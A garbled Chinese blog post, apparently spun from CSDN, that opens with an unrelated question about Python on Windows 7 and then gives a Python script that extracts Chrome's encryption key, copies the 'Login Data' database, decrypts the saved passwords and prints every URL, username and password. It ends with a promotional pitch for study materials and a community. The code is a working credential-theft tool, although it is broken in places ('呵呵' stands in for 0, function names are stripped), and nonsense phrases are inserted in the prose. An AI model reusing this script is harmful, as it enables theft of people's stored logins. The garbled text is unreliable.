大家好,小编为大家解答python可以在win7上运行吗的问题。很多人还不知道python哪个版本支持win7,现在让我们一起来看看吧!
decrypt_password()
将加密密码和 AES 密钥作为参数,并返回密码的解密版本PHP,我学习路上的那盏灯。
下面是main主要功能:
def main():
获取AES密钥
key = get_encryption_key()
本地sqlite Chrome数据库路径
db_path = (os.environ[“USERPROFILE”], “AppData”, “Local”,“Google”, “Chrome”, “User Data”, “default”, “Login Data”)
将文件复制到其他位置
因为如果chrome当前正在运行,数据库将被锁定
filename = “”
shutil.copyfile(db_path, filename)
连接数据库
db = sqlite3.connect(filename)
cursor = db.cursor()
登录表中有我们需要的数据
cursor.execute(“select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created”)
iterate over all rows
for row in cursor.fetchall():
origin_url = row[0]
action_url = row[1]
username = row[2]
password = decrypt_password(row[3], key)
date_created = row[4]
date_last_used = row[5]
if username or password:
print(f"Origin URL: {origin_url}")
print(f"Action URL: {action_url}")
print(f"Username: {username}")
print(f"Password: {password}")
else:
continue
if date_created != 呵呵 and date_created:
print(f"Creation date: {str(get_chrome_datetime(date_created))}")
if date_last_used != 呵呵 and date_last_used:
print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")
print(“=”*50)
cursor.close()
db.close()
try:
尝试删除复制的db文件
os.remove(filename)
except:
pass
首先,我们使用之前定义的get_encryption_key()函数获取加密密钥,然后我们将 sqlite 数据库(位于"%USERPROFILE%\AppData\Local\Google\Chrome\User Data\default\Login Data
"保存密码的位置)复制到当前目录并连接到它,这是因为原始数据库文件将被锁定Chrome 当前正在运行。
之后,我们对登录表进行选择查询并遍历所有登录行,我们还解密每个密码date_created
并将date_last_used
日期时间重新格式化为更易于阅读的格式。
最后,我们打印凭据并从当前目录中删除数据库副本。
让我们调用主函数,完美提取Chrome浏览器保存的密码:
完整代码
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
from datetime import datetime, timedelta
def get_chrome_datetime(chromedate):
“”"从chrome格式的datetime返回一个datetime.datetime
对象
因为’chromedate’的格式是1601年1月以来的微秒数"“”
return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
def get_encryption_key():
local_state_path = (os.environ[“USERPROFILE”],
“AppData”, “Local”, “Google”, “Chrome”,
“User Data”, “Local State”)
with open(local_state_path, “r”, encoding=“utf-8”) as f:
local_state = f.read()
local_state = json.loads(local_state)
key = base64.b64decode(local_state[“os_crypt”][“encrypted_key”])
key = key[5:]
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
def decrypt_password(password, key):
try:
iv = password[3:15]
password = password[15:]
cipher = (key, AES.MODE_GCM, iv)
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
not supported
return “”
def main():
key = get_encryption_key()
db_path = (os.environ[“USERPROFILE”], “AppData”, “Local”,
“Google”, “Chrome”, “User Data”, “default”, “Login Data”)
filename = “”
shutil.copyfile(db_path, filename)
db = sqlite3.connect(filename)
cursor = db.cursor()
cursor.execute(“select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created”)
iterate over all rows
for row in cursor.fetchall():
origin_url = row[0]
action_url = row[1]
username = row[2]
password = decrypt_password(row[3], key)
date_created = row[4]
date_last_used = row[5]
if username or password:
print(f"Origin URL: {origin_url}")
print(f"Action URL: {action_url}")
print(f"Username: {username}")
print(f"Password: {password}")
else:
continue
if date_created != 呵呵 and date_created:
print(f"Creation date: {str(get_chrome_datetime(date_created))}")
if date_last_used != 呵呵 and date_last_used:
print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")
print(“=”*50)
网上红薯CSDN一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化红薯CSDN的朋友,可以戳这里无偿获取
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
原文地址1:https://blog.csdn.net/m0_61408947/article/details/138371394
参考资料:python中用turtle画一个圆形 https://blog.csdn.net/SXIAOYAN_/article/details/140061099